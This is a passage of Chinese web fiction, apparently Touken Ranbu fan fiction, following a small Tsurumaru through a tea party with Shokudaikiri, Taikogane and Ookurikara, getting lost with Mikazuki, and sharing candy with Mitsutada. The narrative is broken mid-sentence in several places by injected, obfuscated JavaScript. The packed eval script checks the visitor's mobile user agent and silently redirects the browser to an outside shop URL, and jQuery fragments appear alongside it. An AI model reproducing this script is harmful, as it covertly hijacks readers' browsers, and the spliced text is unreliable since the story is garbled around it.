我轻轻转头,余光瞥见属于大俱利伽罗的麦色,非常令我意外,他现在站得比烛台切光忠都要近……嘛,他一直都是很温柔细心的刀剑啦,只是不擅长交流而已吧?大概。 说起来,今天帮我扣好胸针的也是伽罗呢,不知为何他比其他人还要更担心我的样子……没办法,好像我一个人出门(三日月:哈哈哈,不用在意我)这件事都快成他的心理阴影了。 但是我又不是出来打架的,不会再麻烦他给我洗衣服的。 ……更何况这是鹤丸国永的外套,我会打起一万倍的精神小心对待,被血浸满或者有灰尘破洞这种事绝对不行!其实别上胸针戳的洞我就已经很心痛了……但是鹤丸国永表示完全没问题。 唔,没办法,鹤丸国永不在,这场会面没人和我一起面对他们……那个白鹤胸针已经算是我全部的勇气来源了,至少能缓解一点点的紧张,吧。 什么?你说摔倒的话也会有灰尘? ……那个的话没办法,对不起嘛。 短短几步路我却想了太远,回过神到座位上坐下,太鼓钟贞宗冲另外两人打了个手势让他们回来坐,完全没有给我开口的机会也让我省却了纠结称呼的时间,真靠谱啊。 “鹤——小鹤先生。”坐在对面的烛台切光忠说,“你喝茶还是其他的饮品?对了,这里有点心,不知道你会不会喜欢。” 一来就是这种话题,难道你真的是哦卡桑……开玩笑的。 “茶就可以。”比起主动挑起话题,根据话语内容进行回复我要更擅长,“谢谢——点心的话,我也有带。” 我把点心盒从终端的储物空间里取出来,还好没有直接提在手里,不然刚刚摔倒的时候又是另一种惨剧。 “虽然这里也有卖……”任由另一侧的大俱利伽罗一言不发地把盒子接了过去,我说,“但我听说是茶会……没关系吧?” “当然!”太鼓钟贞宗笑着回答,大概是转头看了看大俱利伽罗打开的点心盒,“哇,看上去就很好吃——是在万屋买的吗?” “啊,不是的。”我说,“小光——是说,我的本丸的小光给我做的。”察觉到他们一瞬的沉默,我心虚道,“……抱歉,因为我大概没办法自己做点心,只能借花献佛这样了。” “不不不,这种事真的用不着道歉的啦。”太鼓钟贞宗摆手,又似乎有些郁闷,“只是这次没有做点心带来,感觉像是我们这边输了一样呢!” 这是哪里来的胜负欲啊。 好在烛台切光忠大概并没有生气,他的声音依旧温和:“嘛嘛,机会难得,一起吃吧。” 小光准备的茶点并不算多么复杂,却兼顾了每个人的口味——毕竟在场的几个他都很了解,就算不是预想中的几人,也还有其他口味,不愧是他,真厉害。 这次是烛台切光忠开口询问:“小鹤先生喜欢这种点心吗?” “嗯。”我点了点头,“甜食的话,没有讨厌的。” “那。”烛台切光忠说,“下次——下次由我来准备点心吧?” 下次……吗。 “没关系吗?”我说,“时政的工作很繁忙吧?” “其实还好,没有很忙的。”烛台切光忠连忙说,“比起这个,能和小鹤先生一起开茶会的话,什么都可以推掉的。” 这是什么奇怪的发言,玩物丧志可不行啊——这个词用在这里是不是不太对? “……”我歪了歪头,“你们……” 面对他们如约而同屏住呼吸的沉默,我却没法笑出声来。 我:“你们觉得,和我见面是件还算不错的事吗?” 不知会不会是自作多情又或是自我感觉过于良好,但我在说出问题时仿佛就已经知道了答案。 “当然!”仿似有些慌张一般,烛台切光忠首先回应,“不是还算不错,应该说是很好的事,真的是这样,我们全都是这样想的,所以……” 嗯,所以,我才一定要说清楚。 因为你们是抱着这样的想法来和我见面的,又加上从【青】那里听来的申请书内容,我是不能一直保持沉默,被动地回答问题的。 “接下来我说的话,可能会惹你们生气。”我放下刚刚插起的点心,抬眸正视着眼前的几人,“生气也没关系,但是拜托要听我说完。” 随后,无视他们的动作,也不再去猜测他们的反应,我用最平静的语气说: “——我啊,‘要和你们见面’之类的想法,一次也没有过。” 嗯?这个房间里似乎突然没有人在呼吸了。 “啊,并不是说我对你们有意见的意思,大概也没有在发牢骚……”我解释道,“只是习惯而已。” “我已经习惯了……最好不要见到你们的日子。” 最好不要见到你们,或者说,你们最好不要见到我——连我的存在都不知道是最好。 没有同我见面、不曾知晓我的存在的话,哪怕过得不够幸福,至少也能在温暖的阳光下过平常的生活。 【与我见过面的刀剑,全都碎去了。】 ……要说从未想念过大家,那是骗人的。 无论原因为何,渣审总归是有意无意让我见到过几振其他的刀剑,多是本体刀的样子,并未让其显现,但他好像比我都更熟悉我们之间的联系和逸闻,时常也拿这种事来威胁我——扯远了。 总之……以前也有人这样说过吧?说:“鹤丸国永”是害怕寂寞的刀剑。 “害怕”和“讨厌”,在某种意义上是共通的吧?但是并非“不可忍受”,所以就算有想法,我也可以等它自行消散。 我当然是有想过的,承认过的友人也好点头之交也罢,许多我没能见过却曾与我有过交集和联系的刀剑,好不容易有此机缘能以血肉之躯现世,成为同伴,我当然想要见到大家、至少能聊聊天打个招呼…… 那振刀剑作为付丧神是什么模样?曾经见过的那振刀剑是否还能在此处重逢?之前从未见过的刀剑是什么性格、能否让无聊的生活变得多姿多彩、充满惊吓? 思念,好奇,在意,还有就是……因为自身的无能为力,开始期望能被谁拯救。 可是我软弱的期待,永远都是大错特错。 ——我没有盼望被谁拯救的资格,只有守护大家的责任。 “虽然是这样说,但其实也是大话。”我的声音不由得放小了些,大概是羞愧或心虚的某种东西充斥胸膛,“我根本就没做好。” 所以,从某一刻起,那具空壳尸体也要为了守护“活着”。 同时,绝对不要期求再见到大家,把自己死死藏进深渊里,放弃一切希望,不再允许自己痴心妄想。 可我到底并非一块石头,成为付丧神的铁器也拥有感情,所以在说“这样就好”的同时,又会有些憧憬。 其实我有时候是在羡慕,羡慕拥有天然亲近的兄弟的他们,互为半身的两人,承认的挚友与同伴——“鹤丸国永”辗转于多个主人手中,与许多刃遇见,又与他们分离,有些仅是一瞬一时一日的交集,有的却同行长达百年……可是,并没有谁会因为鹤丸国永不在就耿耿于怀的。 “我……并不是那么重要的刀剑。” 对人类来说怎样都好,反正这么多年都是那样……而对于其他刃来说,我并不是那么重要、重要到会让人觉得,失去他就失去了一半灵魂的刀剑吧。 稍微有些伤感吧,兴许也会难过,可是更多的是松了一口气。 “我对你们来说不重要,真的太好了。”我微微勾起唇角,发自内心地说,“谁都不会那样在意,真的太好了。” 不是谁的兄弟,不是谁的半身,不是谁的道标与灵魂——我啊,是就算缺席了,也没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小鹤先生。”太鼓钟贞宗似乎越发难过,“我们之前一直都在想,小鹤先生会不会不喜欢我们,会不会根本不想见到我们……明知道有这种可能性,却还是向那位审神者大人提交了申请……” “明明该道歉的、该道谢的都是我们才对。”太鼓钟贞宗说,“结果却一直都是你在道歉……” 我应该立刻反驳的,这就是我必须要更改他们想法的理由之一,可是……可是…… 太鼓钟贞宗,在哭。 等等,为什么,唉?这种事我没遇见过啊!现在要怎么办? “不、那个……对——抱——啊。”语言系统一瞬混乱,我的表现堪称手忙脚乱,“为什么哭了?我……我只是想着,不能成为你们的负担……最好的情况难道不是不要在意我这样的吗?我没有……没有和你们好好相处过,所以只能靠自己过去的经验来判断,我不太能做好这类事,大概是又出错了……” 慌慌张张说了一通的结果,是太鼓钟贞宗彻底哭出来了。 果然,应该让鹤丸国永来的! “小贞。” 烛台切光忠离开座位,轻轻拍了拍太鼓钟贞宗的背,声音却是仿佛下一秒他也要哭了一样的微抖,他对我说,“不是小鹤先生的错……现在也是,以前也一样。” “我们的想法大概是一样的吧,明明想着差不多的事,却小心翼翼地……”烛台切光忠说,“我们太小看小鹤先生了,这是我们这边的错。” “但是,小鹤先生。”他说,“不希望成为负担的,应该是我们这边哦。” “没能救下你的我们,事到如今还是被你守护着,真的是……太不帅气了。” “我,小贞和小伽罗,我们三人是一起决定的,留在时政工作也好、想要同你开这一次茶会也好,虽然也想了很多在你看来可能很没必要的事,但这些都不是最重要的。” 最初的,最终的,最必要的一点,只是…… “只是希望你过得幸福。” 大俱利伽罗声音微沉,说着我本以为他绝不会说的话,“只是这样。” 所以…… “你对我们来说非常重要。”烛台切光忠继续道,“虽然由我们来说,可能没什么说服力吧,但只有这个必须要说清楚——你绝对不是那种消失也没关系的存在。” “没能发现那个人的恶行,是我们的问题,没能阻止一切的发生,是时政的疏忽,你已经做到最好了,就算要归最大的错误,也是在那个人身上,而不是小鹤先生你。” “你没有做错任何事啊。”烛台切光忠说,“一直努力着的你,不需要向我们道歉。” 我哑然无语地坐在原地,开始怀疑鹤丸国永是不是早就知道会变成这样——这和他对我的“教育方针”完全符合——还是说,其实除了我之外大家都是类似的想法?不会吧? 然而任我再怎么胡思乱想,面对着好不容易擦干眼泪的太鼓钟贞宗和用温柔的目光看着我的烛台切光忠、在一旁把自己的点心默默往我这边推的大俱利伽罗,都让我无法做出任何反驳。 结果,到最后只憋出来一句:“……那,你们没有讨厌我吗?” 三人:“当然/嗯。” 我抿了抿唇,又道:“这样的话,下次的茶会……还有吗?” 太鼓钟贞宗和烛台切光忠对视一眼:“如果小鹤先生愿意的话,当然有了!” “我是可以啦……”我悄悄抬眸,试图透过模糊的色块分辨他们的神色,“你们真的没关系吗?和我这种人再见面什么的……” 别的不说,第一次见面就害得太鼓钟贞宗哭成这样…… “小鹤先生。”太鼓钟贞宗轻轻拉了拉我的衣袖,看着我的眼睛,“我们很珍惜每次和你见面的机会,所以这种茶会越多越好哦。” “还是说……”烛台切光忠拉着大俱利伽罗,语气陡然悲伤起来,“小鹤先生讨厌我们了呢?” “没有这回事!”不知为何总感觉这两振青年模样的刀剑如此可怜巴巴,我努力组织语言,道,“怎么想,都不可能讨厌你们的。” 不会讨厌的,不可能会讨厌的,哪怕那个人没有死去,我没有被【青】捡回来,就算让我再继续被关上一万年,也没办法讨厌大家。 “如果我也能说“喜欢”的话。”我闭了闭眼,轻声说,“我最喜欢大家了。” 75.能找吗?可以的 茶会的持续时间并没有很长,把话说开之后接下来基本上就没什么必要的事了……带来的点心全吃光了之后,也差不多该散场了。 “小鹤先生,我们送你回去吧?”烛台切光忠说,“从这里到时空转换器还有一段路……” 大概是进门那一摔给他们留下了什么奇怪的印象,本就小心翼翼的他们如今在我要起身时就开始紧张兮兮。 “没事的,不用。”我眨了眨眼,道,“不是说还有工作吗?有人陪我一起来的,我和他一起回去就好。” “这样啊。”他们也没有再坚持,只是依然陪着我走到了旁边的门口,才又和我道别。 他们明明刚开始还不怎么敢触碰我,现在却伸出手摸了摸我的头——不过这副身姿本就是少年,被当成小辈对待我也没什么意见就是了。 烛台切光忠怀着莫名的激动收回手,露出个温柔的笑来,太鼓钟贞宗从刚刚开始就一直抱着我的手臂,现在才依依不舍地放开…… 大俱利伽罗抱臂现在一旁,我揪住他的衣袖,主动凑了过去。 场面微妙地停滞了几秒,在我怀疑起自己是不是又穿越了的时候,大俱利伽罗张开双臂抱住了我。 嗯……?我以为你也要摸摸头来着……不过三个人各有各的互动,或许也是一种雨露均沾。 太鼓钟贞宗似乎小小地说了一句“好狡猾”,是在说谁呢?无论是大俱利伽罗还是我好像都和这个词不适配才对。 ……是不是有点抱得太久了? 是要回应的意思吗?我闷在大俱利伽罗怀里眨了眨眼,踮起脚试探着抬手摸了摸他的头。 大俱利伽罗轻轻颤了一下,又把我抱紧了一些。 等他终于放开之后,我又被烛台切光忠和太鼓钟贞宗拉着抱了一下。 现在大概没有人狡猾了,吧。 “那,小鹤先生。”太鼓钟贞宗心满意足地说,“下次见哦!” “嗯。”我说,“下次见。” …… “三日月……?” 走近一开始来到的房间,我小心跨过门槛,抬头时却卡住了壳。 咦?啊,咦? 三日月宗近的颜色搭配我依然也已经非常熟悉,就算这个房间是茶室中与“预约房间”相对的开放房间,我也能从其他刀剑男士中认出他……是这样才对。 可是,全都是一样的月亮。 怎么回事,难道这里其实不是茶室而且大棚,种下一个三日月长出一堆三日月? 比起之前聚会时纯白的鹤,三日月宗近无论是衣服还是造型都更华丽,如果说上次的“调皮捣蛋交流会”是纷飞飘扬的雪花配上绽放的黄梅,现在眼前的便是夜空中散开的烟火组成的万花筒魔镜。 ……真的不是我散光出现的重影哦,怎么想都不可能重影出完全不重样的这么多吧? 我的出现大概是打断了他们的交流,即便看不太清晰,感知到的向我投来的视线也令人如芒在背,我有些局促地想要向后退,后跟又轻轻磕上了门槛。 “哦呀,是鹤啊。”某一振三日月宗近开口打破了这奇怪的氛围,他冲我招了招手,“来来,这边坐。” 我:“啊,这个……” “不想去那边的话,这里也可以坐哦。”离我最近的三日月宗近笑眼弯弯,“正好有空位呢。” 我:“不……那个……” 比起“鹤丸国永”们充满活力的互动,三日月宗近就算聚在一起也不会显得吵闹,只是一个两个全都慢吞吞如同老年人一样的表现,让我感到了诡异的压力。 ……所以和我一起来的三日月为什么不出声?明明我无论从哪方面来说都很显眼吧?总不会认错的……是我花了太长时间在和烛台切他们的茶会上,他睡着了吗? 在这种地方睡着……倒是应该不会着凉,但是多半不会舒服吧,得找他回去才行。 “抱歉。”面对向我散发出迷之热情的三日月宗近们,我只能拒绝他们的邀请,“我是来找人的……” 然而这和串门找人又不一样,毕竟不能在对方问“找谁”的时候说“我找三日月”——这里现在全是三日月宗近。 我大概记得之前三日月坐的地方,可是那里太靠里了,要过去的话得穿过整个大厅,之前有工作人员引路还好,就算没有也只是固定的空桌椅,撞到了多半也只会是我身上有淤青,不会造成茶屋的损失,但现在就凭糊成一团的色块面积判断,我面前保守估计也坐了能有二十个三日月宗近,要从他们中间绕过去、再找到我们本丸的三日月,对我来说简直是地狱级难度。 这难道是报应吗,因为在之前的交流会里“背叛”了我的鹤丸和大家一起玩捉迷藏? “似乎很苦恼呢。”某振三日月宗近语气温和,“是不是迷路了?和我回本丸如何?我会拜托审神者帮忙的。” 出现了,鹤丸国永和小光告诉过我的“人贩子话术”。 我:“……我不值钱的哦?” 而且,迷路这种事从“三日月宗近”口中说出来,就显得很微妙。 “可舍不得卖掉吧?”另一振三日月宗近说,“这样可爱的鹤,可是许久未见了呢。” 出于某些已经变成众所周知的原因,我的状况比起“许久未见”更该用“前所未见”来形容,或许指的是他在曾经五条与三条家交流时同“鹤丸国永”见面时看到的模样,而不是我本身……不过“鹤丸国永”总是很可爱的,这我完全赞同。 “不行,鹤丸说不能和陌生人乱跑。”实际上和陌生人讲话也不行,但是有一说一,在这种地方真的会有真正意义上的“陌生人”吗? 就比如现在,对面的三日月宗近散发出了无辜又委屈的气息:“哎呀,难道老爷爷我对鹤来说是陌生人吗?哎呀哎呀……” “不……”我好像这段时间什么都没干尽否定对话了,有点不知所措地抿了抿唇,道,“我也不是那个意思。” “那就同我回去如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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倒不是谁的眼睛更大谁的鼻梁更高这种区别,而且我真的不具备摸脸识人的功能,但在摸脸的时候对方的反应、呼吸的频率和体温的变化,都能成为我的助力。 这次最主要的原因么…… “只有你会用那种呵护瓷器的语气来跟我讲话啦。”我说,“其实我真的没那么脆。” “而且……”我抬起头看他,认真道,“你对我来说是特别的,能分辨出来是理所当然的吧。” 不过话说回来,你明明没有睡着,为什么不一开始就叫我呀? “嗯嗯。”三日月别开视线,似乎心情颇好,走起路来都轻快了,“原来如此,甚好甚好,不愧是小鹤——茶屋今日送的点心十分美味,回到本丸后一起吃吧。” “好的。”我说,“不过,我们方向走反了。” 明明来的时候都能找到路,你是故意的吗? 76.来接我吗?来了 三日月宗近,天下五剑之一,有天下最美之剑的名号,在各种事件各个本丸中通常扮演“幕后大佬”的角色,拿手好戏是谜语人和月下谈心。 总体来说,是个非常值得尊敬非常厉害的人,曾经三条与五条交流时,他也是作为可靠而温柔的兄长存在于我、存在于“鹤丸国永”的记忆中的。 然而,这样强大的刃依然有一个弱点。 ——他居然是路痴。 ……三日月宗近当真不是故意的么?说是迷路,怎么能做到快把演练场全逛一遍还找不到回去的时空转换器? 好在目前已经是夏天,天黑得慢,否则到了夜晚岂不是雪上加霜。 至于我? 我记路的能力大概还算可以,但被三日月拉着东走走西绕绕这样毫无章法地晃了几圈,本来就没往这边来过几次的我已经彻底晕了,除了机械地迈步之外做不了任何事。 到底能不能行呀?路上其实已经偶遇了好多好多烛台切光忠和三日月宗近,他们有的也会来搭话,可三日月他无论如何都不说自己迷路,最后大家攀谈几句就分开了……难道要等时政的工作人员察觉这里有两个原地打转的笨蛋,像游客中心播报走失儿童一般找【青】来领人吗? ……好在,事情终究没有发展到那个地步,因为就像之前承诺过的那样,鹤丸国永来接我了。 “鹤丸。”我松开三日月的手往前跑了两步,一头撞进鹤丸国永怀里,“……唔。” “哦?这可是吓到我了。”鹤丸国永顺势抱住我,说是吓到,语气却格外欢快,“怎么了怎么了,想我了?” “啊,抱歉。”我仰起头眨了眨眼,“因为今天见到的大俱利伽罗似乎很喜欢抱抱,一不注意就……” 因为大俱利伽罗似乎很喜欢,烛台切光忠和太鼓钟贞宗也不讨厌,所以也想抱抱看鹤丸国永。 ……好吧,其实是我有点想他,没有他在身边我真是举步维艰——各种意义上的。 “哼……?”鹤丸国永挑了挑眉,看向三日月宗近,“抱抱?” “哎呀,这我可不知道。”三日月露出了微微讶异的表情,“我都没有抱到。” 因为你只是让我牵你的手,却没说要抱啊。 我半转过身试图冲三日月比一个动作:“可以的话现在……” 我也算是成长了吧,换作以前的话,这种亲密动作我只会手足无措地作为被动的一方来接受,却不可能会主动伸出手的。 ……大概是,有了一点自信。 或许不会被无视、或许能够有回应的,这样的自信。 至少在面对你们的时候,能做到期待。 无论如何都会牵住我的手,无论如何都会接住我,无论如何都不会消失……我知道凡事没有绝对,可至少此时此刻,稍微相信一下也没关系吧? 话说起来,消失什么的…… 若是你们自己选择的、出于自身意愿的离我而去也就算了,可要是有某种外力相逼,我不接受。 ……就算真的会被磨成茶刀,我也绝不接受这种“别离”。 【绝对】会守护你们,是我这边的承诺……不,是誓言或者契约之类的东西,虽然我很没用,也做不好很多事,可单论战斗力和生命力的话,姑且还算可以哦? 虽然死了两次……算上最开始吓到【青】的就三次,但如今这副不死之躯本就是为了“守护”而存在的,就算灰飞烟灭,也要达成目的,不会让大家受伤。 ……唔,好像扯太远了。 回过神来时,三日月宗近已经用哄小朋友的姿态抱住我摸了摸我的头:“呦西呦西,乖孩子、乖孩子。” “我的头发是不是很乱?”我半只手其实还在鹤丸国永那边,只能保持这个奇怪的姿势提出疑问,“……今天被摸了好多次了。” “哦——?”鹤丸国永一个音拐了三道弯,仿佛在盘山公路上飙车,“嘛,毕竟小鹤你就很适合被摸摸头。” 我想了想:“因为没有长不高的烦恼?” 毕竟死在了还没开始长高的时候——不过本体都短成这样了,长不高好像也不全是营养不良的锅。 要是能努力点成功活到成年的话,我会不会成为第一个成年人体型的短刀?但大概率是就算再多作为“■■”活上几年,我也没法长高了吧,毕竟不管怎么说,这里才是我的本源,那具空壳的诞生比“■■”要早,而且与其说是我在适应“■ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164106|124946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ■”,不如说是“■■”在适应我……再怎么说,在那个世界,即便黑发足够平常,红瞳却是很罕见的。 根据鹤丸国永推断出来的时间换算,我“近视”的时间和某人对我眼睛下手的时间接近一致,而每一次在那边世界重伤或生病的日夜,多半都是某人拿那具空壳或者我的本体做那些实验的时候……这就不能只拿“巧合”来解释了。 不过很好的一点是,如今就算我又“死去”,也不会再离开这个世界了,或许是因为我没有想逃走的意思?只是纯粹地想死的话,是不被允许的。 “我”不允许,“鹤丸国永”不允许,“■■■■”也不允许,我软弱的意愿永远不会被参考在内,大概若是真的去到了黄泉彼岸,后悔的人也是我自己。 又扯太远了。 总之,绕了这么一圈我只是想说——我是长不高的,所以摸摸头完全没关系,鹤丸国永说的“适合”大概也是这个意思吧? “……”鹤丸国永轻轻叹了口气,“才不是呢……三日月不是说了吗?” 三日月说:乖孩子。 “因为小鹤很乖,而且全都做得很好,让我们忍不住就会想摸摸你的头,安慰一下你啦。”鹤丸国永说到这里,勾起个笑来,“——不过呢,你叛逆一点也很不错,就是到时候会从摸摸变成揉揉,头发会更乱哦?” 但是,依然不会丢下我不管,是这样吗。 我似懂非懂地点头,拉着三日月又牵住鹤丸国永的手:“那回去再挖个坑?” 鹤丸国永:“哦!不错嘛,这次想挖哪里?” 我弯了弯眼:“……三日月房间门口。” 三日月宗近:“哈哈哈,这样让我听到没关系吗?” 没关系,这是对你拉着我绕路的小小报复。 我转过头,鹤丸国永冲我眨眨眼睛,笑得几分狡黠,悄悄往我手里塞了块巧克力。 看来我的打算瞒不过他……毕竟某种意义上我们也算是一心同体。 坑什么的,虽然说了,但谁知道我会不会真的去挖、又什么时候挖呢?就这样猜测着门口有没有陷阱,思量颇多地迈步吧。 一脚踩空是惊吓,脚踏实地也是惊吓,不是吗? 77.吃糖吗?吃的 因为当日小光去了十五小时的长远征,我直到睡过一觉醒来,才在第二天见到他。 我从手合场回来,刚把三日月给的和果子咽下去,便看见熟悉的人影站在我的房间门口。 鹤丸国永又出门了,大概没有染发或者戴假发、穿其他衣服玩角色扮演的闲暇,所以这应当是本人……我放轻了脚步,思考着要不要吓他一下。 然而或许是动作收得太慢,又或者是我压根没能按照预想的路线前进,在我悄悄摸到烛台切光忠身后时,他突然转过身来,反倒吓我一跳。 “……小光。”我的心咚咚直跳,果然这种事不太适合我,面对着烛台切光忠的目光,只能努力装作无事发生,“下午好。” “午好,小鹤先生。” 烛台切光忠仿佛并未发现我失败的惊吓行动,只是说,“小鹤先生,我可以摸一摸你的头吗?” 我一脸茫然:“可以是可以……为什么?” 是个成年人体型的刀剑好像都喜欢摸摸头这类动作,我已经逐渐习惯,现在问他理由并不是说我对他区别对待,只是之前烛台切光忠最多只是牵着我的手或者抱抱我,甚至都不会省略名字后面的敬称,现在突然这样说,让我有些疑惑。 烛台切光忠笑着抬起手:“因为炸毛了。” 啊。 我抬手想要捂住自己经不住吓的头发,在心中发出不争气的悲鸣——在那之前,烛台切光忠已经带着笑容,帮我顺好了发。 人果然不能做亏心事啊……下次鹤丸国永在的时候再做吧。 烛台切光忠刚远征回来,才把出阵服换下,手里也拿着什么东西说是带来给我的,便就这样同我一起进了房间,在我对面坐下了。 “这是伴手礼哦。”烛台切光忠说,“是糖,远征途中买到的。” “谢谢。”和往常一样掌心向上摊开手让烛台切光忠把糖放到我手中,我比起这个更关心别的事,“远征、有受伤吗?” “没有。”烛台切光忠说,“抱歉,是我回来得太晚了,让你担心了吗?别担心,远征对我们来说算是很安全的任务,不会受伤的。” 对我来说就很危险呢……虽然大概仅限于那种特殊远征。 不过,没受伤就好。 我一边想一边戳了戳装着糖球的小袋子,问道:“现在可以吃吗?” “当然可以。”烛台切光忠伸出手,代替我把系好的结拆散了,“这个糖球据说卖得很好,这次恰好路过那个地方便买下了……我也还没吃过呢,不知道味道如何。” “哎……”我用手指摸着形状大概数了数,一袋里也就五六个的样子,“很贵吗?” “那倒没有。”烛台切光忠说,“因为是那个年代的东西,对我们来说算是很便宜。” 毕竟本丸的开销一般都是小判和甲州金啊……而且万屋的东西都是几十几百甲州金地卖,更别说当大白菜一样用的小判,那个时代再怎么说也不会有现在这么疯狂的定价吧?大概。 “这样啊。”我不知道这些糖球之间有没有区别,实在分不清,随机捏起一颗,喂到烛台切光忠唇边,“你也吃。” 烛台切光忠稍微愣了一下,便笑着咬进了嘴里。 我也丢了一颗含进嘴里,抿了抿,发表感想:“不太甜呢。” 只有一点点甜味……没办法,毕竟糖在那时候也算是奢侈品吧? “是这样呢。”烛台切光忠点点头,“下次还是去万屋买好了。” 万屋倒确实是各种各样的糖都有卖的……口味也千奇百怪,我记得鹤丸国永还买过芥末味和激辣味,不过分到我手上就只有相对温和的柠檬味了,除了酸了点没什么特别,含久了还有回甜…… 其实我还挺好奇前面那两个味道的,糖要怎么才能做成那样呢? “你们好像总是喜欢带糖给我。”我说,“昨天鹤丸还给了我巧克力……” 倒不是说不好,只是我在想,刀剑男士会不会长蛀牙。 应该不会吧……我没有吃糖太多导致蛀牙的经验,也并不想要这种经验。 “因为甜味会让人心情变好吧?”烛台切光忠笑着说,“虽然小鹤先生不太在意这些东西,可是我们就是会忍不住想让你尝尝呀,不管是糖还是菜品,又或者是点心。” 然后,说到甜点…… “对了。”烛台切光忠问道,“昨天的点心还合口味吗?” 是指给我带去茶会的那份点心吧,这是味道测评之类的? “嗯,很好吃。”我实话实说,“大家也都很喜欢。” “‘大家’……”烛台切光忠眸光微动,“小鹤先生喜欢就好,因为是匆忙赶在任务之前制作的,我还担心会没做好呢。” 是骗人的,烛台切光忠早在知道有这回事那日开始就在思考要做什么点心给他的小鹤先生带去茶会,材料用具提前便备好,各步骤操作相当细致,连食盒都包装完美,才笑吟吟地交给了一无所知的小鹤。 我认真回忆了一下,开口:“烛台切也说很好吃……不过,他说下次茶会的点心由他来准备,不知道会是什么样的。” “哼嗯……”烛台切光忠笑容的弧度似乎微微加大了一些,“这是什么挑战邀请吗?” 我不知道话题是怎么跳到这里来的,迟疑道:“啊?应该……不是吧?” “不过,如果有什么‘烛台切光忠’厨艺大赛的话。”我说,“我一定会投小光的。” 虽然我不一定有那个资格当评委就是了。 “那可真是荣幸!”烛台切光忠似乎相当高兴,语调微微上扬,“厨艺得到认可了呢——是对比后的结果吗?” 让你失望了。 我:“是偏心。” 反正我又不是专业评委,偏心一点怎么了? 没办法,从拥有肉身开始到现在,我只有到这个本丸之后才吃上了算是“菜品”的食物,没有对照组的情况下没法比较吧?公平公正客观的对比评价完全给不出。 但是不管怎样我都可以对你偏心,我超任性的,嗯。 “原来如此。”我给出的完全是没什么意义的评价,烛台切光忠却好像更高兴了,“是偏心呀,呵呵,这下可以向其他人炫耀了。” 有什么地方值得炫耀的吗?厨艺?那确实。 我搞不懂,嘴里含着的糖化了一半,好像比之前更甜了。 烛台切光忠又问了我一些昨天见面会的事,大概是出于关心和好奇,我也没什么不能说的,只是想不出和我相关的事有什么有趣,于是捡着我认为重要的同他说了……也就是原本丸的烛台切他们的事。 可还没讲完,五虎退就来找我,说是【青】有事要我过去天守阁一趟,烛台切光忠没什么被打断的不愿,似乎想要起身送我过去……被我拒绝了。 才远征回来一定很累吧,他好好休息就是了,五虎退说会负责努力把我平安带过去的——不是碎碎平安那种。 而我再回来时,烛台切光忠已经睡着了。 我就说他肯定是累了吧,都没来得及回自己房间就睡着了,我庆幸自己的披风尺寸还算可以,虽然自己穿着大了点,但现在这个时候当个小被子还是行的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13236616|124946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >我轻手轻脚地往他旁边走——这回是真的很轻很轻,拿出了之前某个夜晚从石切丸身边跑出去的架势,小心地挪到了他身边。 ……我是不是压根不应该进来啊,万一吵醒他了怎么办。 可后悔的同时,我已经在他身旁跪坐下来了。 嗯……这样坐着睡肯定不舒服吧,还是想办法让他换个姿势好了。 我对这种事完全没经验,小心翼翼伸出手扶住烛台切光忠的肩,还好没把他晃醒就成功让他顺着重力靠了下来,虽然姿势依然不算舒服,但至少头有了可以枕的地方,给脖颈降低了负担。 和我不一样,若是用这种别扭的姿势睡觉的话,他是会感觉到酸痛的吧。 希望我没什么肉的大腿不会比墙面还硌人,之前我自己总是这样睡着在鹤丸国永怀里,偶尔也会在三日月宗近或者小乌丸怀里……要我毫不费力又悄无声息地把床铺好再把烛台切光忠搬过去实在做不到,于是只能这样了。 我低头盯着烛台切光忠的侧脸,伸手轻轻碰了碰他的额头。 虽然总说他是烛台切“妈妈”,可睡着的时候分明也像小孩子一样嘛。 一边思考着这些奇奇怪怪的事,我微微垂眸,又发起呆来。 ……烛台切光忠对我来说,是非常特殊的刀剑。 与对三日月宗近和其他刀剑来讲的是不同的“特殊”,这样说吧,如果要排序的话,他只在鹤丸国永之下。 大概是某种缘分?虽然不知道是不是孽缘,对他——对“烛台切光忠”来说,大概是某种霉运吧,我也是这样认为的呢,因为…… 我第一振见到的刀剑,就是烛台切光忠。 无论是【鹤丸国永】还是“小鹤”,睁开眼见到的第一振刀剑,就是“烛台切光忠”。 第一个发现我的人,第一个想要救我的人,第一个牵起我的手的人……他包揽了太多的“第一”,让我很难不去在意。 可是,这种“第一”没有什么好的意义,既没有奖励也没有报答,有的只有悲伤和痛苦。 同我沾上边总没好事,这种道理我多少也是懂的,就像碎去的烛台切光忠、昨日见过的烛台切和小光,所有的“烛台切光忠”明明什么都没做错,却总在说—— “我来得太晚了。” 